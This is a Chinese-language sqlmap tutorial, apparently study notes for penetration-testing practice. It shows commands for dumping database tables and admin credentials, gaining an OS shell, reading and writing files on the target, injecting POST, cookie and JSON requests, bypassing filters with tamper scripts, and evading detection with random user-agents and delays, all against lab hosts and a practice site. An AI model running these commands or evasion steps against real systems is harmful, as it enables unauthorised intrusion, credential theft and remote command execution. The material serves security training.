https://www.cnblogs.com/bmjoker/p/9326258.html
数据猜解-库表列数据&字典
1.IIS, ASP, Microsoft SQL Server(ACCESS数据库)
–current-db 表示要获取当前数据库的名称。
python sqlmap.py -u “” –tables //获取表名 python sqlmap.py -u “” –cloumns -T admin //获取admin表名下的列名 python sqlmap.py -u “” –dump -C “username,password” -T admin //获取表名下的列名数据
-dump
: 这是 SQLMap 的选项,用于指示工具从数据库中检索数据
它询问是否要使用常见的表存在性检查方法 do you want to use common table existence check? [Y/n/q] y 选择要使用的常见表文件的提示。用户可以选择默认的常见表文件,也可以选择自定义的常见表文件。
询问用户要设置多少个线程进行测试 please enter number of threads? [Enter for 1 (current)] 输入10
可以手动添加字典内容 字典位置:\sqlmap\data\txt

测完毕之后,sqlmap会自动将猜测出的东西,以提供的ip名或域名,以表格的形式存储在本地,可以直接查看 C:\Users\86183\AppData\Local\sqlmap\output

2.Apache, PHP, MySQL(普通权限)

- python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –is-dba(是否是数据库管理员)(会误报)
- 输出显示 current user is DBA: False,这表示当前数据库用户不是数据库管理员。
- python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –current-user(获取当前用户名称,推荐使用)
权限操作-文件&命令&交互式
测试:MYSQL高权限注入 引出权限: –is-dba(误报) –privileges(只能通过很多false或者true判断,不明显)
推荐使用–current-user
引出文件: –file-read –file-write –file-dest
引出命令: –os-cmd= –os-shell –sql-shell
1.判断权限:
python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” –is-dba(是否是数据库管理员)(会误报)或者urrent-user(获取当前用户名称,推荐) current user: ‘root@localhost’,代表是最高权限Root权限
2.引出命令:
–os-cmd=(在目标系统上执行操作系统命令)
–os-cmd=calc (执行计算器)
- 询问语言(直接回车默认即可)

- 路径自动查询失败,选则2(自定义路径)
- 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)G:\develop\safety\phpstudy_pro\WWW\dome01`

- do you want to retrieve the command standard output? [Y/n/a]在 SQLMap 执行期间询问是否要获取命令的标准输出(command standard output)(输入a即可)


–os-shell (获取一个操作系统 shell(命令行)连接)
- 询问语言(直接回车默认即可)

- 路径自动查询失败,选则2(自定义路径)
- 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)
G:\develop\safety\phpstudy_pro\WWW\dome01

- os-shell> ver (显示当前操作系统的版本信息)并输入y,得到回显

- os-shell> ipconfig (显示ip地址)并输入a或y

–sql-shell(执行SQL命令)
select version();
(获取数据库版本信息)

select * from admin;
(查询表的信息)

- 输入exit退出
3.引出文件:
--file-read (文件读取)
--file-write --file-dest(写入操作)
- –file-read (文件读取)
- –file-read “f:\1.txt” 读取F盘的文件1.txt
- do you want confirmation that the remote file ‘f:/1.txt’ has been successfully downloaded from the back-end DBMS file system? [Y/n] ySQLMap 在执行时询问是否要确认从后端数据库管理系统(DBMS)文件系统成功下载了指定的远程文件 ‘f:/1.txt’。以下是对选项的解释:Y (Yes): 表示你同意获取确认,以验证文件是否已成功从后端 DBMS 文件系统下载。如果选择了这个选项,SQLMap 将尝试验证文件的下载。

- 打开保存的文件,发现成功读取

--file-write
和 --file-dest
是 SQLMap 中用于执行文件写入操作的选项。
- –file-write:此选项用于指定要写入的文件的内容。你需要提供一个文件的内容或者文件路径,SQLMap 将尝试将该内容写入目标文件。
- –file-dest:此选项用于指定要写入内容的目标文件路径。你需要提供要写入的文件的目标路径,SQLMap 将尝试将指定的内容写入该文件。 python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1″ –file-write=”f:\\1.txt” –file-dest=”c:\\123.txt”
- 这个命令的目的是将指定的内容(“f:\1.txt”)写入 ‘c:\123.txt’ 文件。


提交方法-POST&HEAD&JSON
–data “”
–cookie “”
-r 1.txt(推荐使用)
–data “”
该选项用于指定要发送的 POST 数据。在你的命令中,–data 的值被设置为空字符串,表示没有提供具体的 POST 数据。通常,你需要在引号内提供实际的 POST 数据,例如 –data “uname=test&pass=test” 注意:指定URL需要指定,接受POST数据的URL,而不是登录的URL
–cookie “”(原理一样)
该选项用于指定要发送的 Cookie 信息。在你的命令中,–cookie 的值也被设置为空字符串,表示没有提供具体的 Cookie 信息。通常,你需要在引号内提供实际的 Cookie 信息,例如 –cookie “sessionID=123456”
推荐使用-r 1.txt
该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体
将请求数据包中的数据,用*打上注入点,这样方便快捷注入 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间

json格式:
{“username”:“admin”,“password”:“123456”}
使用–data去注入存在以下问题
由于引号的影响,无法正确的读取参数,插入注入点,所以报错无法注入或没有注入点

总结
无论哪种格式,为了保证数据包完整性都推荐使用-r 1.txt
绕过模块-Tamper脚本-使用&开发
测试:base64注入 有过滤的注入 –tamper=base64encode.py –tamper=test.py
将编写好的Tamper脚本,放置在sqlmap中的tamper目录下
Tamper脚本开发思路: (1)前期分析检测判断过滤条件, (2)分析过滤条件实行转换为对应的python代码, (3)将代码放入sqlmap实验是否可以绕过过滤
分析拓展-代理&调试&指纹&风险&等级
1、后期分析调试:
v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
2、–proxy “http://xx:xx” #代理注入
- python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” –level=3 –risk=2 –proxy “http://127.0.0.1:8080/”
- 确认关闭代理后,打开burp,将对应的代理的URL,使用 –proxy语句跟在sqlmap执行语句之后;
- **发现burp中接受到注入的的数据包,便于后期分析注入原理。**

3、打乱默认指纹:
–user-agent “” #自定义user-agent
–random-agent #随机user-agent
面试问题:由于显示的数据包user-agent会携带一些固有流量特征,会被蓝队进行防护和识别。
- sqlmap的固有流量特征:数据包user-agent中会默认其版本号
- User-agent: sqlmap/1.7.2.16#dev (https://sqlmap.org)
- 解决方式:通过自定义或者随机ua头,避免被过滤
- 通过自定义user-agent:–user-agent “”

- 解决方式:通过自定义或者随机ua头,避免被过滤
- 随机user-agent:python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 –random-agent


- 面试问题:一个网址访问过快,大量的请求,频繁的扫描行为,可能引起网络防御工具的注意。
- 解决方式:使用延迟响应语句python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 –random-agent –time-sec=(2,5)
- –time-sec=5#延迟响应,默认迟为5秒
- -time-sec=5 是sqlmap的一个命令行选项,用于指定在检测过程中用于基于时间的盲注攻击的时间延迟范围。设置了时间延迟的范围,以使sqlmap能够在进行基于时间的盲注攻击时更灵活地进行操作。时间延迟是在进行盲注时,根据响应的延迟时间来判断是否成功执行了SQL语句。

4、使用更多的测试:–level –risk等级限制
–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1
总结:在使用盲注扫描注入点的时候,可以将规则等级进行设置提示,可能会扫到其他的注入点
使用高等级的规则进行查询扫描注入点的时候,又可能会扫描到其他注入点